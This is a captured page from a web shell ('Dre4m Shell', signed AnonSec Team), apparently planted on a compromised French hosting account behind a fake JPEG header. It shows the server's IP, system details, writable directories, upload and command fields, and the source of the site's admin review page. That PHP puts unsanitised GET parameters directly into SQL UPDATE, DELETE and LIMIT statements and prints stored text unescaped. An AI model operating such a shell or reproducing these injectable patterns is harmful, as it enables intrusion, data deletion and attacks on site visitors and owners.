ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/celine-petinger.fr/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/celine-petinger.fr/cp-admin//avis_g.php
<?php
require_once('includes/header.php');
require_once('includes/menu.php');

//////////////////////////////////////////////////////////// PAGINATION
require_once('./pagination_fonction.php'); 
$commeo = "48";
//////////////////////////////////////////////////////////// PAGINATION

if (isset($_GET['online'])) {
  $id = $_GET['online'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['avis_g'] . " SET actif = 1 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./avis_g.php"';
  echo '</script>';
}
if (isset($_GET['offline'])) {
  $id = $_GET['offline'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['avis_g'] . " SET actif = 0 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./avis_g.php"';
  echo '</script>';
}
// Suppression
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
  /* Efface le blog */
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['avis_g'] . " WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./avis_g.php"';
  echo '</script>';
}

?>
<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Liste des Avis Google
		
            <div class="pull-right">
              <a href="add_avis_g.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Ajouter un avis</a>
            </div> 		
		
		
		</h1>

  
<br />
Classement par ordre d&eacute;croissant (par <?php echo$commeo ?>).
<br /><br />

      </div>
    </div>
  </div>
  <table class="table table-bordered ">
    <thead>
      <tr>
        <th class="span1 center">N.Ordre</th>
        <th class="span2 center">Auteur</th>
        <th class="span2 center">Date</th>
        <th class="span1 center">Op&eacute;rations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php

$comptc =0;

//////////////////////////////////////////////////////////// PAGINATION
    $res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM avis_g WHERE nom !='' AND  texte !=''");
    $columns = $res->fetch();
    $nb_total = $columns['nb_total'];     
      
//////////////////////////////////////////////////////////// PAGINATION
	if (!isset($_GET['debut'])) $_GET['debut'] = 0;
	$nb_affichage_par_page = $commeo;
//////////////////////////////////////////////////////////// PAGINATION



    $requete = $bdd->query("SELECT * FROM avis_g WHERE nom !='' AND  texte !='' 
      ORDER BY date_avis DESC LIMIT ".$_GET['debut'].",".$nb_affichage_par_page." "); 
 
      if ($row = $requete->fetch()) {
        do {

// Colore les cellules tableau
/****************************/
$comptc = $comptc + 1;
if ($comptc % 2 == 1)
{
   $collo = "background:#ddd; border:1px solid #fff";   $collo2 = "background:#ddd; border:1px solid #fff;border:1px solid #fff; border-top:0;border-bottom:0";
}
elseif ($comptc % 2 == 0)
{
   $collo = "background:#fff; border:1 solid #ddd";   $collo2 = "background:#D9FFED; border:1px solid #ddd;border:1px solid #fff; border-left:1px solid #ddd;border-top:0;border-bottom:0";
}
     $idd = $row['id'];
    ?>

          <tr>
            <td class="center" style="<?php echo$collo2 ?>">
              <b><?php echo $comptc ?></b>
            </td>
 
            <td class="center" style="<?php echo$collo2 ?>">
              <b><?php echo stripcslashes($row['nom']) ?></b>
</td>
 

            <td class="center" style="<?php echo$collo2 ?>">
                <?php
                setlocale (LC_TIME, 'fr_FR.utf8','fra'); 
                echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($row['date_avis'])));
                ?>   
            </td>
           

            <td class="center" style="<?php echo$collo2 ?>">


<?php
              if($row['actif'] == 0)
                echo '<a href="./avis_g.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Activer"></a>';
              else
                echo '<a href="./avis_g.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Désactiver"></a>';
              ?>
              &nbsp;

              <a href="./edit_avis_g.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer l'article" />
              </a>

              &nbsp;

              <a href="./avis_g.php?del=<?php echo $row['id']; ?>" id="'.$id.'" onclick="return confirm('Êtes vous sur de vouloir supprimer cet élément ?');">
                <img src="assets/img/delete.png" title="Supprimer l'article" />
              </a>
              </a>

     
            </td>

 
          </tr>



	<tr>
		<td colspan="6" style="<?php echo$collo2 ?>;border-top:1px dashed #333;padding:30px;padding-top:10px;">

<?php

if ($row['note'] == 1){ echo'<img src="../images/etoile_1.png" height="30"/>';}
if ($row['note'] == 2){ echo'<img src="../images/etoile_2.png" height="30"/>';}
if ($row['note'] == 3){ echo'<img src="../images/etoile_3.png" height="30"/>';}
if ($row['note'] == 4){ echo'<img src="../images/etoile_4.png" height="30"/>';}
if ($row['note'] == 5){ echo'<img src="../images/etoile_5.png" height="30"/>';}

?>



       
<br />
<br /> 

              <b><?php echo stripcslashes($row['initial']) ?></b><br />

              <?php echo stripcslashes($row['texte']) ?> 
<br />              <b><i><?php echo $row['nom'] ?></i></b>
<br /> </td>
	</tr>

 


          <?php



        }while ($row = $requete->fetch());
      } else {
        echo 'Aucun avis &agrave; afficher !!!';
      }
      ?>

    </tbody>
  </table>
  
<div class="pagin">
<?php
//////////////////////////////////////////////////////////// PAGINATION
//mysql_free_result ($requete);
  echo '<b>'.barre_navigation($nb_total, $nb_affichage_par_page, $_GET['debut'], 8).'</b>';
// on lib?e l'espace m?oire allou?pour cette requ?e
// mysql_free_result ($resultat);
//////////////////////////////////////////////////////////// PAGINATION
?>
<br /><br />
</div>
  
</div>













<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team